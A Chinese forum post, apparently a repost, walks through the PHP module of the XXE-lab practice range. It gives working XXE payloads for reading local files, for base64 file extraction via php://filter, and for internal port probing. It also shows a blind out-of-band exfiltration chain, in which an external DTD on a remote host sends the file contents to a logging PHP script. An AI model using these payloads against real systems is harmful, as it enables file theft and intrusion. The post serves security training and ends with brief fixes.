XXE-lab-master靶场:PHP_xxe

打印 上一主题 下一主题

主题 1556|帖子 1556|积分 4668

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

x
目录
有回显
测试回显位置
构建payload
无回显数据外带
构建payload
漏洞修复


XXE-lab是一个一个包罗php,java,python,C#等各种语言版本的XXE漏洞靶场。
下载地址:https://github.com/c0ny1/xxe-lab
将PHPStudy的中间件与版本信息调制为 php-5.4.29+Apache 以下,然后访问以下地址开始练习
  1. http://127.0.0.1/xxe-lab-master/php_xxe/
复制代码
有回显

打开PHP_XXE目录下的 index.html 文件检察源代码,发现73行会在 Login按钮下会触发JavaScript脚本的 doLogin() 函数。
检察 doLogin() 函数定义代码,发现 JavaScript 脚本会将用户输入的 username 和 password 拼接为xml格式的数据,并且使用 ajax 的方法提交,提交时 xml 的数据被看成 POST 数据包的内容提交。
打开后端的 doLogin.php 文件在该 PHP 文件中,主要是吸收POST请求的内容,并将其转化为XML对象,然后提取XML对象中的 username 和 password 字段。然后比对两个字段值分别是否相称。
  1. libxml_disable_entity_loader(Fash)
  2. 代码意思是设置允许PHP加载外部实体,这也是本靶场的漏洞产生主要原因。在生产环境下需要将这里的False改为True,即可避免产生XXE漏洞。
  3. loadXML()
  4. 该函数可以将一个输入的字符串转化为DOMDocument对象。
  5. simplexml_import_dom()
  6. 该函数可以把DOM节点转化为SimpleXMLElement对象。
复制代码

在登录界面输入账号密码并抓取数据包


测试回显位置

通过测试,能看到用户名位置存在有回显的。而后面密码字段就无回显


构建payload

  1. <?xml version="1.0"?>
  2. <!DOCTYPE test [
  3. <!ENTITY name SYSTEM "file:///c://windows/win.ini">
  4. ]>
  5. <user><username>&name;</username><password>1</password></user>
复制代码


读取当地文件(写一个 1.txt 文件,内容随便,我这里是 3 个 hello)
  1. <?xml version="1.0"?>
  2. <!DOCTYPE test [
  3. <!ENTITY name SYSTEM "file:///d://1.txt">
  4. ]>
  5. <user><username>&name;</username><password>1</password></user>
复制代码


使用PHP伪协议读取文件
  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE XL [
  3. <!ENTITY fl SYSTEM "php://filter/read=convert.base64-encode/resource=d:/1.txt">]>
  4. <user><username>&fl;</username><password>1</password></user>
复制代码


探测内网存活主机与端口
  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE XL [
  3. <!ENTITY fl SYSTEM "http://127.0.0.1:3306">]>
  4. <user><username>&fl;</username><password>1</password></user>
复制代码



无回显数据外带

把XXE-labs靶场的输出及报错都关闭,模拟无回显情况,把 phpStudy_64\phpstudy_pro\WWW\xxe-lab-master\php_xxe\doLogin.php 的 doLogin.php 中的末了一行代码表明掉,在账号密码上面加一句代码
  1. error_reporting(0);
复制代码


构建payload

1、 运行下面的XML语法,发现没有了数据回显
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!DOCTYPE ANY [
  3. <!ENTITY % shit SYSTEM "http://127.0.0.1:80/1.txt">
  4. %shit;
  5. ]>
复制代码



2、 在长途服务器上创建 evil.xml 文件并使用 Python 开启 http 服务

1.php 内容:
  1. <?php file_put_contents("1.txt", $_GET['file']); ?>
复制代码
evil.xml内容:
  1. <!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://192.168.110.24:8000/1.php?content=%file;'>"> %payload;
复制代码
  1. python -m http.server 8000
复制代码


3、构造外部实体并进行访问
  1. <?xml version="1.0"?>
  2. <!DOCTYPE test [
  3. <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/1.txt">
  4. <!ENTITY % dtd SYSTEM "http://192.168.110.24:8000/evil.xml">
  5. %dtd;
  6. %send;
  7. ]>
复制代码
回到HTTP服务器上发现数据已经带到请求日志上,经Base64解码得出内容




漏洞修复

1、使用开辟语言禁用外部实体;
2、过滤 SYSTEM/PUBLIC 等关键字;


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

冬雨财经

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表